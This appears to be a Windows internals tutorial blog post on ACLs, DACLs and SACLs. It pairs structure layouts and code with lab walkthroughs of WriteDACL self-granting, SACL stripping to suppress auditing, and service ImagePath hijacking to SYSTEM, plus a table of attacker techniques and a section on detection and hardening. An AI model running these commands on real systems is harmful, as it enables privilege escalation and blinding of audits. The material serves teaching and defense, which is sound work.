ACLs, DACLs, and SACLs: Access Control Internals

By Debraj Basak·Jun 23, 2026·18 min readWindows Internals

Most Windows privilege escalation I see in engagements doesn’t come from a kernel CVE. It comes from a misconfigured DACL on a service registry key, an SDDL string a developer typed wrong in 2014 that no one ever audited, or a security product whose own ACL the attacker rewrote five minutes after landing SYSTEM. Access control in Windows is not a guardrail; it’s a programmable kernel structure with a wire format, and the moment you can read and write that structure, the rules become negotiable.

Objective: Understand the kernel-level data structures that drive every Windows access check — SECURITY_DESCRIPTOR, ACL, and the ACE taxonomy — and use that model to read, write, attack, and detect access-control changes on real objects (files, registry keys, services, AD objects).


1. The Access Control Model and the Security Reference Monitor

Every named kernel object in Windows is securable: files, registry keys, processes, threads, named pipes, services, jobs, AD objects, even thread tokens. When you call OpenProcess, CreateFile, RegOpenKeyEx, or OpenSCManager, the call funnels through the Object Manager, which hands the access decision to the Security Reference Monitor (SRM). The SRM compares your token against the object’s security descriptor and either gives you a handle with the rights you asked for, denies you, or grants a subset.

The kernel function doing the work is SeAccessCheck in ntoskrnl.exe. User mode reaches it through NtAccessCheck, which sits behind the advapi32 wrapper AccessCheck. Every handle open you have ever seen in Process Monitor passed through this code path.

You cannot defend, audit, or attack this layer without knowing the on-disk layout of a security descriptor. Almost every post-exploitation primitive that doesn’t involve a kernel exploit — WriteDACL abuse, service hijack, EDR neutering, audit suppression — is just editing the bytes you’re about to learn.


2. Security Descriptor Anatomy

The SECURITY_DESCRIPTOR is the on-object container for ownership, access control, and auditing.

FieldSizeDescription
Revision1 byteStructure revision; must be SECURITY_DESCRIPTOR_REVISION (1)
Sbz11 byteReserved / alignment
Control2 bytes (WORD)Bitmask of control flags
OffsetOwner4 bytesOffset to owner SID
OffsetGroup4 bytesOffset to primary group SID (POSIX compat — not used by the Windows access check)
OffsetSacl4 bytesOffset to the SACL (audit ACEs + integrity label)
OffsetDacl4 bytesOffset to the DACL (allow/deny ACEs)

Security descriptors exist in two forms. Absolute stores owner/group/SACL/DACL as pointer fields — useful in memory when you’re constructing one piece by piece. Self-relative packs everything into one contiguous block and treats the four Offset* fields as offsets from the start of the structure. Self-relative is what gets persisted: NTFS streams, the registry, nTSecurityDescriptor in AD, RPC payloads. If you’re ever staring at a hex dump trying to figure out where the DACL starts, you’re reading a self-relative descriptor; add OffsetDacl to the base of the structure and you’re at the ACL header.

Key Control flags worth memorising:

FlagValueMeaning
SE_DACL_PRESENT0x0004A DACL is present (set means “check ACL”; cleared means “no security defined”)
SE_SACL_PRESENT0x0010A SACL is present
SE_DACL_PROTECTED0x1000DACL blocks inheritance from parent containers
SE_SACL_PROTECTED0x2000Same, for the SACL
SE_SELF_RELATIVE0x8000Descriptor is in self-relative format

The SE_*_PRESENT flags are the entire basis of the NULL-vs-empty ACL gotcha in §3.


3. ACL Structure and ACE Types

DACL and SACL share the same physical layout — same header, same ACE encoding. Only their semantics differ: a DACL grants/denies, a SACL audits.

FieldSizeDescription
AclRevision1 byteACL_REVISION (2) for basic ACEs; ACL_REVISION_DS (4) for AD object ACEs
Sbz11 byteReserved
AclSize2 bytesTotal ACL size in bytes, including all ACEs
AceCount2 bytesNumber of ACEs
Sbz22 bytesReserved

Immediately after the header, ACEs are packed back-to-back. Each ACE starts with an ACE_HEADER:

typedef struct _ACE_HEADER {
    BYTE  AceType;     // ACCESS_ALLOWED_ACE_TYPE, ACCESS_DENIED_ACE_TYPE, ...
    BYTE  AceFlags;    // OBJECT_INHERIT_ACE, CONTAINER_INHERIT_ACE, etc.
    WORD  AceSize;     // total ACE length in bytes
} ACE_HEADER, *PACE_HEADER;

The common ACE types:

Type ConstantValueUse
ACCESS_ALLOWED_ACE_TYPE0x00Grants rights (DACL)
ACCESS_DENIED_ACE_TYPE0x01Denies rights (DACL)
SYSTEM_AUDIT_ACE_TYPE0x02Audit log on access (SACL)
ACCESS_ALLOWED_OBJECT_ACE_TYPE0x05AD object-specific allow (needs ACL_REVISION_DS)
ACCESS_DENIED_OBJECT_ACE_TYPE0x06AD object-specific deny
SYSTEM_AUDIT_OBJECT_ACE_TYPE0x07AD object-specific audit (SACL)
SYSTEM_MANDATORY_LABEL_ACE_TYPE0x11Integrity level label (SACL — see §8)

The two ACEs you’ll touch most often share an identical layout:

typedef struct _ACCESS_ALLOWED_ACE {
    ACE_HEADER  Header;
    ACCESS_MASK Mask;       // 32-bit rights bitmask
    DWORD       SidStart;   // first DWORD of the variable-length SID
} ACCESS_ALLOWED_ACE;

Common AceFlags:

FlagValueMeaning
OBJECT_INHERIT_ACE0x01Non-container child objects inherit
CONTAINER_INHERIT_ACE0x02Container child objects inherit
INHERIT_ONLY_ACE0x08ACE doesn’t apply here, only to children
INHERITED_ACE0x10ACE was inherited from a parent
SUCCESSFUL_ACCESS_ACE_FLAG0x40(SACL) audit successful accesses
FAILED_ACCESS_ACE_FLAG0x80(SACL) audit failures

NULL ACL vs. Empty ACL

This trips people up every week. They are not the same thing.

  • NULL DACL — the SE_DACL_PRESENT flag is set but the descriptor has no DACL data attached. The SRM reads “no security defined” and grants everyone full access. This is the configuration that ends up in OSCP write-ups under “misconfigured share.”
  • Empty DACLSE_DACL_PRESENT is set, a valid ACL header exists, and AceCount == 0. There are no allow ACEs, so the SRM hits implicit-deny at the end of the walk. Nobody (except the owner exercising WRITE_DAC/READ_CONTROL via ownership) gets in.

In SDDL the NULL DACL is written D:NO_ACCESS_CONTROL. If your environment scan flags that string, treat it like a fire.


Hierarchy diagram showing a SECURITY_DESCRIPTOR at the root branching to Owner SID, Group SID, DACL, and SACL, with the DACL containing Allow and Deny ACEs and the SACL containing an Audit ACE
A self-relative SECURITY_DESCRIPTOR is one contiguous block — the four offset fields point inward to the [owner SID](https://genxcyber.com/windows-sids-security-descriptors-access-control/), group SID, DACL, and SACL packed sequentially behind the header.

4. The Access Check Algorithm

When SeAccessCheck is called with a token and a desired access mask, it works through roughly these stages. The bit you should commit to memory is the DACL walk.

  1. Owner short-circuit. If the requestor is the object’s owner, they implicitly get READ_CONTROL and WRITE_DAC — they can always read and rewrite the DACL.
  2. Mandatory Integrity Check. Before the DACL is touched, the token’s integrity level is compared against the object’s SYSTEM_MANDATORY_LABEL_ACE and its policy bits (NO_WRITE_UP, NO_READ_UP, NO_EXECUTE_UP). A Medium-IL process trying to write to a High-IL object fails here, regardless of what the DACL says.
  3. DACL present check. If SE_DACL_PRESENT is clear, or the DACL pointer is NULL → grant everything (the NULL DACL behaviour).
  4. ACE walk, top to bottom. For each ACE in order:
    – If the ACE’s SID isn’t in the token’s enabled SIDs, skip.
    Deny ACE that covers any still-requested bit → access denied, stop.
    Allow ACE → flip on the granted bits. When all requested bits are granted, stop with success.
  5. End of list. If any requested bit is still ungranted → access denied (implicit deny).

This is why ACE ordering matters and why Windows tools build DACLs in canonical order: explicit Deny, explicit Allow, inherited Deny, inherited Allow. A non-canonical DACL — one with an Allow before a Deny that should apply — silently lets through accesses the admin thought were blocked. The first time this caught me I had spent the better part of an afternoon convinced an account had been given access by some hidden group; it had been given access by the ACE order.

For SACL evaluation the algorithm is similar but instead of granting rights it emits Event 4663 / 4656 records into the Security Event Log, gated by SUCCESSFUL_ACCESS_ACE_FLAG / FAILED_ACCESS_ACE_FLAG.


Flowchart showing the SeAccessCheck decision sequence: owner short-circuit, mandatory integrity check, NULL DACL branch, then top-to-bottom ACE walk ending in grant or deny
SeAccessCheck evaluates owner status, [integrity level](https://genxcyber.com/windows-access-tokens-privileges-security-context/), and each DACL ACE in order — the first matching Deny or an exhausted list both produce an access denied.

5. SDDL — Security Descriptors as Strings

Anywhere you can paste a security descriptor into a text field — GPO, sc.exe sdset, the registry’s ChannelAccess value, nTSecurityDescriptor — it’s SDDL. The grammar:

O:<owner_sid> G:<group_sid> D:<dacl_flags>(<ace>)(<ace>)... S:<sacl_flags>(<ace>)...

An ACE has six semicolon-separated fields: type;flags;rights;object_guid;inherit_object_guid;trustee_sid.

Short-form aliases keep SDDL readable:

AliasMeaning
BABuilt-in Administrators
SYLOCAL SYSTEM
AUAuthenticated Users
WDEveryone (World)
IUInteractive Users
BUBuilt-in Users
LS / NSLocalService / NetworkService
AAccess Allowed ACE type
DAccess Denied ACE type
OA/ODObject Allow / Object Deny (AD)
AU (rights ctx)Audit ACE
GA / GR / GW / GXGeneric All / Read / Write / Execute
RCREAD_CONTROL
WD (rights ctx)WRITE_DAC (don’t confuse with the SID alias)
WOWRITE_OWNER
CC/DC/LC/SW/RP/WPAD-specific: create child, delete child, list, self write, read prop, write prop

So O:BAG:SYD:(A;;GA;;;BA)(A;;GR;;;AU) means owner = Administrators, group = SYSTEM, DACL grants Administrators GenericAll and Authenticated Users GenericRead. You will see this format constantly when you start touching service descriptors with sc sdshow.


6. Reading and Writing Security Descriptors in Code

The Win32 API exposes two layers: high-level (GetNamedSecurityInfo / SetNamedSecurityInfo) and low-level (InitializeAcl, AddAccessAllowedAce, etc.). The high-level functions are what you reach for 90% of the time.

APIPurpose
GetNamedSecurityInfoFetch SD by name (file path, registry path, service name)
GetSecurityInfoFetch SD by an open HANDLE
SetNamedSecurityInfo / SetSecurityInfoApply an SD
GetSecurityDescriptorDacl / SaclPull DACL/SACL pointer out of an SD
InitializeAcl / AddAccessAllowedAce / AddAccessDeniedAce / AddAuditAccessAceBuild ACLs from scratch
ConvertStringSecurityDescriptorToSecurityDescriptorSDDL → binary SD
ConvertSecurityDescriptorToStringSecurityDescriptorBinary SD → SDDL
AccessCheckUser-mode wrapper for SeAccessCheck
NtQuerySecurityObject / NtSetSecurityObjectNative syscalls behind the curtain

Reading a DACL in C

This walks the DACL of C:\LabFiles\secret.txt and prints every ACE with its trustee SID and rights mask. Compile with cl /W3 dump_dacl.c advapi32.lib.

#include <windows.h>
#include <aclapi.h>
#include <sddl.h>
#include <stdio.h>

int main(void) {
    PSECURITY_DESCRIPTOR pSD = NULL;
    PACL pDacl = NULL;
    DWORD r = GetNamedSecurityInfoA(
        "C:\\LabFiles\\secret.txt",
        SE_FILE_OBJECT,
        DACL_SECURITY_INFORMATION,
        NULL, NULL, &pDacl, NULL, &pSD);
    if (r != ERROR_SUCCESS) { printf("GetNamedSecurityInfo failed: %lu\n", r); return 1; }

    ACL_SIZE_INFORMATION info = {0};
    GetAclInformation(pDacl, &info, sizeof(info), AclSizeInformation);
    printf("DACL has %lu ACEs\n", info.AceCount);

    for (DWORD i = 0; i < info.AceCount; i++) {
        PVOID pAce = NULL;
        if (!GetAce(pDacl, i, &pAce)) continue;
        ACE_HEADER* hdr = (ACE_HEADER*)pAce;

        if (hdr->AceType == ACCESS_ALLOWED_ACE_TYPE ||
            hdr->AceType == ACCESS_DENIED_ACE_TYPE) {
            ACCESS_ALLOWED_ACE* a = (ACCESS_ALLOWED_ACE*)pAce;
            LPSTR sidStr = NULL;
            ConvertSidToStringSidA((PSID)&a->SidStart, &sidStr);
            printf("[%lu] %s Mask=0x%08lX Flags=0x%02X Sid=%s\n",
                   i,
                   hdr->AceType == ACCESS_ALLOWED_ACE_TYPE ? "ALLOW" : "DENY ",
                   a->Mask, hdr->AceFlags, sidStr);
            LocalFree(sidStr);
        } else {
            printf("[%lu] AceType=0x%02X (non-basic, skipped)\n", i, hdr->AceType);
        }
    }
    LocalFree(pSD);
    return 0;
}

Building and applying a DACL — the NULL trap, then the fix

// Intentionally create a NULL DACL — "everyone can do anything" on the file.
SECURITY_DESCRIPTOR sd;
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);  // <-- NULL DACL
SetFileSecurityA("C:\\LabFiles\\secret.txt", DACL_SECURITY_INFORMATION, &sd);
// Anyone on the box can now read/write/delete the file.

Replace it with an explicit, restrictive DACL: Authenticated Users denied, Administrators allowed.

// SDDL shortcut — denies AU, grants BA GenericAll.
PSECURITY_DESCRIPTOR pSD = NULL;
ConvertStringSecurityDescriptorToSecurityDescriptorA(
    "D:(D;;GA;;;AU)(A;;GA;;;BA)",
    SDDL_REVISION_1, &pSD, NULL);

PACL pDacl = NULL; BOOL present = FALSE, defaulted = FALSE;
GetSecurityDescriptorDacl(pSD, &present, &pDacl, &defaulted);

SetNamedSecurityInfoA(
    "C:\\LabFiles\\secret.txt",
    SE_FILE_OBJECT,
    DACL_SECURITY_INFORMATION,
    NULL, NULL, pDacl, NULL);
LocalFree(pSD);

PowerShell equivalents

# Read
$acl = Get-Acl "C:\LabFiles\secret.txt"
$acl.Access | Format-Table IdentityReference, FileSystemRights, AccessControlType
$acl.Sddl    # serialised form

# Add an allow ACE for a low-priv user
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "LAB\lowpriv", "Read", "Allow")
$acl.AddAccessRule($rule)
Set-Acl "C:\LabFiles\secret.txt" $acl

Get-Acl returns a System.Security.AccessControl.FileSecurity, which wraps the same on-disk security descriptor — every property maps back to the structures in §2 and §3.


7. SACL and Object Auditing

A SACL is just an ACL whose ACEs are SYSTEM_AUDIT_ACE entries with SUCCESSFUL_ACCESS_ACE_FLAG and/or FAILED_ACCESS_ACE_FLAG set. When the SRM walks the DACL it then walks the SACL; matching audit ACEs fire Security Event Log records (4656 on open, 4663 on the actual access).

Auditing on Windows is a two-step configuration, which is why many shops think they have auditing but don’t:

  1. The object must have a SACL with audit ACEs attached.
  2. The matching subcategory under Advanced Audit Policy Configuration → Object Access must be enabled.

Either step alone produces nothing. Check both with:

auditpol /get /category:"Object Access"
(Get-Acl -Audit "C:\LabFiles\secret.txt").Audit

Modifying a SACL requires SeSecurityPrivilege, which is held by Administrators and almost nothing else. Treat it as a tier-0 privilege — once an attacker has it, they can rewrite or remove SACLs to blind your file-access detections (see §10).


8. Mandatory Integrity Control

Layered on top of the DACL is MIC. Every token carries an integrity level SID; every object can carry one too, via a SYSTEM_MANDATORY_LABEL_ACE (0x11) in its SACL (not DACL — first time I tried to add one with AddAccessAllowedAce I spent twenty minutes wondering why nothing changed). The IL SIDs:

SIDLevel
S-1-16-4096Low
S-1-16-8192Medium
S-1-16-12288High (elevated admin)
S-1-16-16384System

The ACE’s Mask carries policy bits — SYSTEM_MANDATORY_LABEL_NO_WRITE_UP, _NO_READ_UP, _NO_EXECUTE_UP — that control what a lower-IL token can do to a higher-IL object. This is the layer that keeps a Low-IL sandbox (browser renderer, LSA-isolated worker) from poking your Medium-IL files even if the DACL is permissive. It’s also why UAC elevation matters: an unelevated admin runs at Medium IL and is blocked from High-IL objects regardless of group membership.


Illustration of four stacked integrity levels as luminous platform tiers with invisible barriers preventing lower-level tokens from reaching upward to higher tiers
Mandatory Integrity Control enforces a strict layered hierarchy — a Medium-IL token is repelled from High-IL objects regardless of what the DACL permits.

9. Lab: WriteDACL Escalation and Audit Suppression

Setup: Windows 10/11 lab VM, fully owned. Create a low-privilege local account lowpriv. Place C:\LabFiles\secret.txt. Apply this initial DACL — lowpriv gets WriteDAC but no Read:

icacls C:\LabFiles\secret.txt /inheritance:r
icacls C:\LabFiles\secret.txt /grant:r "SYSTEM:(F)" "Administrators:(F)"
icacls C:\LabFiles\secret.txt /grant:r "lowpriv:(WDAC)"
# Add a SACL: audit successful reads/writes by anyone
$acl = Get-Acl -Audit C:\LabFiles\secret.txt
$audit = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone","ReadData,WriteData","Success")
$acl.AddAuditRule($audit)
Set-Acl C:\LabFiles\secret.txt $acl

Now log in as lowpriv and exploit the misconfiguration:

# 1. Recon
icacls C:\LabFiles\secret.txt
# lowpriv: WDAC — write DAC, no read

# 2. Grant ourselves FullControl by rewriting the DACL
$acl = Get-Acl C:\LabFiles\secret.txt
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "$env:USERNAME","FullControl","Allow")
$acl.AddAccessRule($rule)
Set-Acl C:\LabFiles\secret.txt $acl

# 3. Read
Get-Content C:\LabFiles\secret.txt

Step 2 fires Event 4670 (“permissions on an object were changed”). The Security log captures the old SDDL and new SDDL side-by-side — invaluable in detection, because the diff tells you exactly which ACE got added.

Audit suppression as defense evasion

If the attacker has SeSecurityPrivilege, they can strip the SACL and silence step 3:

$acl = Get-Acl -Audit C:\LabFiles\secret.txt
$acl.SetAuditRuleProtection($true,$false)   # break inheritance, drop inherited
$acl.Audit | ForEach-Object { [void]$acl.RemoveAuditRule($_) }
Set-Acl -Path C:\LabFiles\secret.txt -AclObject $acl

The 4663 events you were relying on stop appearing — but the SACL change itself fires Event 4907 (“auditing settings on an object were changed”), and policy-level audit changes fire Event 4715. If you only alert on 4663s, you never see the access; if you alert on 4907/4715 you catch the attacker trying to go dark. That asymmetry is the entire detection model — see §12.


10. Lab: Registry Service ACL Abuse (T1574.011)

This is the classic. A service whose registry key allows non-admins KEY_SET_VALUE is a one-step path to SYSTEM.

# Stage: create a deliberately weak service for the lab
sc.exe create LabSvc binPath= "C:\Windows\System32\notepad.exe" start= auto
# Open the registry key DACL and grant Authenticated Users SetValue:
$key = "HKLM:\SYSTEM\CurrentControlSet\Services\LabSvc"
$acl = Get-Acl $key
$rule = New-Object System.Security.AccessControl.RegistryAccessRule(
    "Authenticated Users","SetValue","Allow")
$acl.AddAccessRule($rule); Set-Acl $key $acl

As lowpriv:

# 1. Recon — accesschk from Sysinternals is the cleanest
accesschk.exe -kwsuv "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services\LabSvc

# 2. Confirm current ImagePath
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\LabSvc" -Name ImagePath

# 3. Hijack
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\LabSvc" `
    -Name ImagePath -Value "C:\LabFiles\payload.exe"

# 4. Trigger — restart the service (or wait for reboot)
sc.exe start LabSvc
# payload.exe runs as LOCAL SYSTEM

Where payload.exe is a lab-only program that drops whoami /priv > C:\out.txt. This maps directly to ATT&CK T1574.011 — Hijack Execution Flow: Services Registry Permissions Weakness.

Detection: Event 4657 (registry value modified) on the service key, and Sysmon Event ID 13 (RegistryEvent: Value Set) — Sysmon is the more reliable of the two because the Security log requires a SACL on the key, which is rarely configured by default.


11. Common Attacker Techniques

TechniqueDescription
NULL DACL plantingReplace a sensitive object’s DACL with NULL so anyone can touch it (D:NO_ACCESS_CONTROL)
WriteDACL → self-grantUse a delegated WRITE_DAC right to add an Allow ACE for yourself (files, registry, services, AD objects)
WriteOwner abuseTake ownership of an object; owner can always rewrite the DACL
Service registry hijackRewrite ImagePath on a service whose key allows KEY_SET_VALUE to non-admins (T1574.011)
SACL strippingRemove audit ACEs to blind file/registry-access detections (requires SeSecurityPrivilege)
ChannelAccess rewriteModify HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\*\ChannelAccess SDDL to deny non-admin readers or block writes to a log
AD WriteDACL on user/groupGrant yourself Reset Password or Replicating Directory Changes by editing nTSecurityDescriptor (BloodHound’s bread and butter)
EDR DACL rewriteWith SeSecurityPrivilege + WRITE_DAC over an EDR service, deny SYSTEM the stop right — service becomes unkillable, but so is the attacker’s process if they pivoted through it
Non-canonical ACE orderingInject an Allow before a Deny that should apply, exploiting top-down access check ordering

12. Detection and Defense

Windows Security Event IDs

Event IDDescriptionTrigger
4656Handle to an object was requestedObject open attempt (requires SACL + Object Access policy)
4663Attempt was made to access an objectThe actual read/write/delete (SACL-driven)
4657A registry value was modifiedRegistry value write (SACL on key)
4670Permissions on an object were changedDACL change — includes old and new SDDL
4703A token right was adjustedSeSecurityPrivilege enable — pre-cursor to SACL tampering
4715The audit policy (SACL) on an object was changedAlways logged; key indicator of audit suppression
4907Auditing settings on an object were changedSACL change on a file/registry object
5136A directory service object was modifiedAD nTSecurityDescriptor changes (on DCs)

Sysmon

Sysmon Event IDDescriptionRelevance
12RegistryEvent (object create/delete)Service key create/delete
13RegistryEvent (value set)Hijacked ImagePath, ChannelAccess, etc.
14RegistryEvent (key/value rename)Service or channel key rename

Sysmon does not directly log DACL changes — pair it with Security 4670 / 4907.

Sigma — DACL change on a sensitive file

title: DACL Modified on Sensitive Object
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4670
    ObjectType:
      - 'File'
      - 'Key'
  sensitive_path:
    ObjectName|contains:
      - '\LabFiles\'
      - '\CurrentControlSet\Services\'
      - '\WINEVT\Channels\'
  filter_legitimate:
    SubjectUserName|endswith: '$'
  condition: selection and sensitive_path and not filter_legitimate
fields:
  - SubjectUserName
  - ObjectName
  - OldSd
  - NewSd
level: high

The OldSd / NewSd fields are the secret weapon — diff them and you see the exact ACE the attacker added.

Hardening

  1. Scan for D:NO_ACCESS_CONTROL across files, registry, and AD. Anything flagged is a vulnerability ticket.
  2. Tightly hold SeSecurityPrivilege. Strip it from your standard admin tier; give it only to a small set of audit-only accounts.
  3. Protect Event Log ChannelAccess values under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\<channel>\ — apply a SACL on the key and alert on Event 4657 against it.
  4. Run security services as PPL where supported, so even SYSTEM-with-WRITE_DAC can’t rewrite their DACL.
  5. Enable Global Object Access Auditing for File System and Registry. It pushes a system-wide SACL onto every object of that type, so a per-object SACL-strip no longer blinds you.
  6. Verify DACL canonicalisation. Tools like icacls /verify and PowerShell’s [System.Security.AccessControl.RawAcl] parsing will flag out-of-order ACEs.

MITRE ATT&CK

TechniqueIDDetection
File and Directory Permissions ModificationT12224670 + Sigma on OldSd/NewSd diff
Windows File/Directory Permissions ModificationT1222.001icacls, cacls, takeown, Set-Acl command-line auditing + 4670
Services Registry Permissions WeaknessT1574.0114657 + Sysmon 13 on Services\*\ImagePath
Impair Defenses: Disable Windows Event LoggingT1562.0024715, 4907, ChannelAccess modification on WINEVT keys
Access Token ManipulationT11344703 — SeSecurityPrivilege enable as precursor

Illustration of a dark security operations centre with a timeline of events where DACL change, SACL strip, and registry modification alerts radiate outward catching a silhouetted attacker
Events 4670, 4907, and 4715 capture the security-structure changes an attacker cannot avoid making — detecting the act of going dark rather than the access itself.

13. Tools for ACL Analysis

ToolUseLink
icacls.exeBuilt-in DACL view/edit for files and folderswindows builtin
sc.exe sdshow / sdsetView/set service security descriptors in SDDLwindows builtin
accesschk.exeSysinternals — enumerate effective rights for a user across files, registry, servicessysinternals.com
Process HackerLive view of any kernel-object SD (process, thread, handle, registry, file)github.com/winsiderss/systeminformer
Get-Acl / Set-AclPowerShell native ACL manipulationwindows builtin
auditpol.exeView/set the Advanced Audit Policy subcategorieswindows builtin
BloodHoundMaps AD WriteDACL/GenericAll/WriteOwner edges to attack pathsbloodhound.specterops.io
PowerView (Get-DomainObjectAcl)Programmatic AD ACL enumerationgithub.com/PowerShellMafia/PowerSploit
WinDbg + !sdDump a raw security descriptor from a memory addresslearn.microsoft.com
SigmaDetection rule format used in the Sysmon/Security log sectiongithub.com/SigmaHQ/sigma

Summary

  • Every Windows access decision is a kernel walk of a structure you can read, write, and weaponise. SeAccessCheck operates on SECURITY_DESCRIPTORACLACE exactly as laid out above.
  • A NULL DACL means everyone, everything. An empty DACL means no one. The difference is one flag and it is the most common ACL misconfiguration in the wild.
  • DACL ACEs are walked top-to-bottom; canonical order (Deny before Allow) is enforced by tools but not by the kernel. Non-canonical DACLs silently grant access the admin didn’t intend.
  • WriteDACL, WriteOwner, and service-registry permissions are the high-yield privilege-escalation primitives — all map to MITRE T1222/T1574.011. Hunt for them with accesschk and BloodHound.
  • SACL stripping is the inverse problem: attackers blind you by removing audit ACEs. The detections you actually need are Events 4670, 4715, and 4907 — they capture the change to security, which the attacker can’t avoid generating.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups — no spam, unsubscribe anytime.